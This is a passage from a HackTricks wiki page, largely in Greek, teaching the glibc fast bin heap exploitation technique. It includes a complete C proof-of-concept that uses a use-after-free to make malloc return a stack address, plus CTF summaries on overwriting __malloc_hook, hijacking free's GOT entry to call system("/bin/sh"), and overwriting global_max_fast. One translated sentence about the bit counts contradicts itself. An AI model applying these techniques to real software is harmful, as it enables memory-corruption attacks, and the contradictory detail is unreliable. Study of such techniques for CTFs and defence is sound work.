Fast Bin Attack

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα fast bin, ελέγξτε αυτή τη σελίδα:

Bins & Memory Allocations

Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες από ότι σε άλλα bins και απλά η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin chunk είναι αρκετή για να μπορέσετε να κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης.

Ως περίληψη:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Αν είναι δυνατόν να επαναγράψετε την τιμή της παγκόσμιας μεταβλητής global_max_fast με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, ενδεχομένως επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατές προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της επίθεσης μεγάλου bin και της επίθεσης αταξινόμητου bin

Παραδείγματα

  • Είναι δυνατόν να εκχωρήσετε κομμάτια, να τα απελευθερώσετε, να διαβάσετε το περιεχόμενό τους και να τα γεμίσετε (με μια ευπάθεια overflow).

  • Συγκέντρωση κομματιού για infoleak: Η τεχνική είναι βασικά να εκμεταλλευτείτε το overflow για να δημιουργήσετε ένα ψεύτικο prev_size, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, οπότε όταν εκχωρείτε το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπώσετε τα δεδομένα του και να διαρρεύσετε μια διεύθυνση στη libc (main_arena+88).

  • Επαναγραφή malloc hook: Για αυτό, και εκμεταλλευόμενοι την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφύγουμε τις προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη bin 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσετε ξανά, να επαναγράψετε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το __malloc_hook (έτσι δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσετε ξανά και στη συνέχεια να εκχωρήσετε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks. Τελικά, γράφτηκε ένα one gadget εκεί.

  • Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερώνεται είναι δυνατόν να επαναχρησιμοποιηθούν και να επανα-απελευθερωθούν οι δείκτες.

  • Libc info leak: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να επαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση.

  • Fast bin attack: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του free να δείχνει στο system και στη συνέχεια να γράψουμε "/bin/sh" στο κομμάτι 1 για να καλέσουμε free(chunk1) το οποίο αντίθετα θα εκτελέσει system("/bin/sh").

  • Ένα άλλο παράδειγμα εκμετάλλευσης μιας υπερχείλισης ενός byte για να συγκεντρώσετε κομμάτια στο αταξινόμητο bin και να αποκτήσετε μια διαρροή πληροφοριών libc και στη συνέχεια να εκτελέσετε μια γρήγορη επίθεση bin για να επαναγράψετε το malloc hook με μια διεύθυνση one gadget.

  • Μετά από μια διαρροή πληροφοριών εκμεταλλευόμενοι το αταξινόμητο bin με ένα UAF για να διαρρεύσουμε μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγράψετε ορισμένους δείκτες για να γράψετε ένα one gadget στη GOT.

  • Μπορείτε να βρείτε μια γρήγορη επίθεση bin που εκμεταλλεύεται μέσω μιας επίθεσης αταξινόμητου bin:

  • Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να εκμεταλλεύεστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται).

  • Μπορούμε να εκχωρήσουμε μόνο κομμάτια μεγέθους μεγαλύτερου από 0x100.

  • Επαναγράψτε το global_max_fast χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).

  • Γρήγορη επίθεση bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη αναγνωστική/γραφική πρωτοβουλία, η οποία επιτρέπει την τροποποίηση της GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο system.

Unsorted Bin Attack

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated